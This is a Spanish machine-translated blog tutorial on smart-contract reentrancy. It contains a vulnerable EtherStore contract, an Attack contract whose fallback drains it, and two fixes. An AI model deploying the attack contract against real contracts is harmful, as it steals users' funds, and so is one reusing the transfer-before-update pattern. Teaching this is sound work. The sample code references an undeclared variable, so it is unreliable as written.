[Seguridad del contrato] Ataque de reingreso

prefacio

El ataque de reentrada es un método de ataque relativamente común en el ataque por contrato. El hacker usa su propio ataque en la función fallback() (o una función con lógica de devolución de llamada) en el contrato y el gas adicional para transferir el ETH que no le pertenece en el contrato.

La esencia del ataque de reingreso es: el contrato del hacker invoca continuamente la función del contrato atacado en una transacción, lo que resulta en la pérdida de activos.

retroceder()

La función alternativa, la función alternativa, es una función especial sin nombre en el contrato, y solo hay una.

  1. Se llama cuando la llamada del contrato no coincide con la firma de la función;
  2. Llamar (llamar, enviar, transferir) se llama automáticamente cuando no hay datos;

El primer caso es más común en los errores de llamada de función, y el segundo caso es más común en las transferencias de moneda nativa (moneda de cadena).

Echemos un vistazo al contenido del documento oficial:

Si no hay una coincidencia de selector en una llamada al contrato, se llamará a la función de reserva. O cuando no hay una función de recepción y no se proporcionan datos adicionales para llamar al contrato, se ejecutará la función de reserva.

En otras palabras, el contrato de ataque no necesita implementar la recepción, y solo necesita escribir la lógica de ataque en el respaldo para implementar la lógica de ataque de reentrada después de cada transferencia eth .

ejemplo de contrato

Supongamos que tenemos dos contratos: el contrato para almacenar eth y el contrato de ataque.

  • EtherStore.sol
// 假设每个人可以像合约里存储 ETH,每次取款至少为 1 ETH。
contract EtherStore {
    
    

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
    
    
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
    
    
    	// 5. 因为攻击者的 balance 值没有变化,所以继续执行2.
        require(balances[msg.sender] >= _weiToWithdraw);
        require(_weiToWithdraw <= withdrawalLimit);
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        
        // 2. Transfer ETH
        require(msg.sender.call.value(_weiToWithdraw)());
        // 这行代码不会被执行
        balances[msg.sender] -= _weiToWithdraw;
    }
 }

Para este contrato, el atacante puede balances[msg.sender] -= _weiToWithdraw;usar la función de respaldo para transferir todo el eth del contrato de ataque sin ejecutarlo.

  • Ataque.sol
import "EtherStore.sol";

contract Attack {
    
    
  EtherStore public etherStore;

  // 这里的地址就是 EtherStore 的地址
  constructor(address _etherStoreAddress) {
    
    
      etherStore = EtherStore(_etherStoreAddress);
  }
  
  function pwnEtherStore() public payable {
    
    
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // 1. 调用取款函数,取回1个 ETH
      etherStore.withdrawFunds(1 ether);
  }
  
  function collectEther() public {
    
    
      msg.sender.transfer(this.balance);
  }
    
  // 3. EtherStore 完成转账后,自动调用 fallback,执行其中逻辑。
  function () payable {
    
    
      if (etherStore.balance > 1 ether) {
    
    
      	  // 4. 继续调用取款函数,取回1个 ETH
          etherStore.withdrawFunds(1 ether);
      }
  }
}

Repasemos los pasos anteriores del 1 al 5 para comprender el principio de los ataques de reentrada.

como prevenir

Descubrimos que los atacantes reingresantes atacan al explotar la vulnerabilidad de que el contrato primero transfiere dinero y luego asigna valor, lo que da como resultado una ejecución incompleta de la lógica de la función . Naturalmente, tenemos dos métodos de defensa:

  • Asigne el valor primero y luego transfiera
    Realice los siguientes cambios en la función de retiro de EtherStore
    function withdrawFunds (uint256 _weiToWithdraw) public {
    
    
        require(balances[msg.sender] >= _weiToWithdraw);
        require(_weiToWithdraw <= withdrawalLimit);
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        
        // 这里改为先赋值,再转账,等于重入第二次的时候,攻击者账目上钱就是减少后的。
        balances[msg.sender] -= _weiToWithdraw;
        require(msg.sender.call.value(_weiToWithdraw)());
    }
  • Cree una variable pública para registrar la entrada y salida de cada persona que llama.

El principio de esto es registrar los registros de entrada y salida de la persona que llama (persona que llama), y verificar si existe una lógica de función de ejecución completa. Si el atacante solo tiene registros entrantes pero no salientes, es probable que esté realizando un ataque de reentrada.

Nuestro Openzeppelin de uso común utiliza este método para evitar ataques de reingreso. Para obtener más información, consulte:
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/security/ReentrancyGuard.sol

Artículo de referencia:
https://www.jianshu.com/p/601c9e759281

Supongo que te gusta

Origin blog.csdn.net/weixin_43742184/article/details/122706217
Recomendado
Clasificación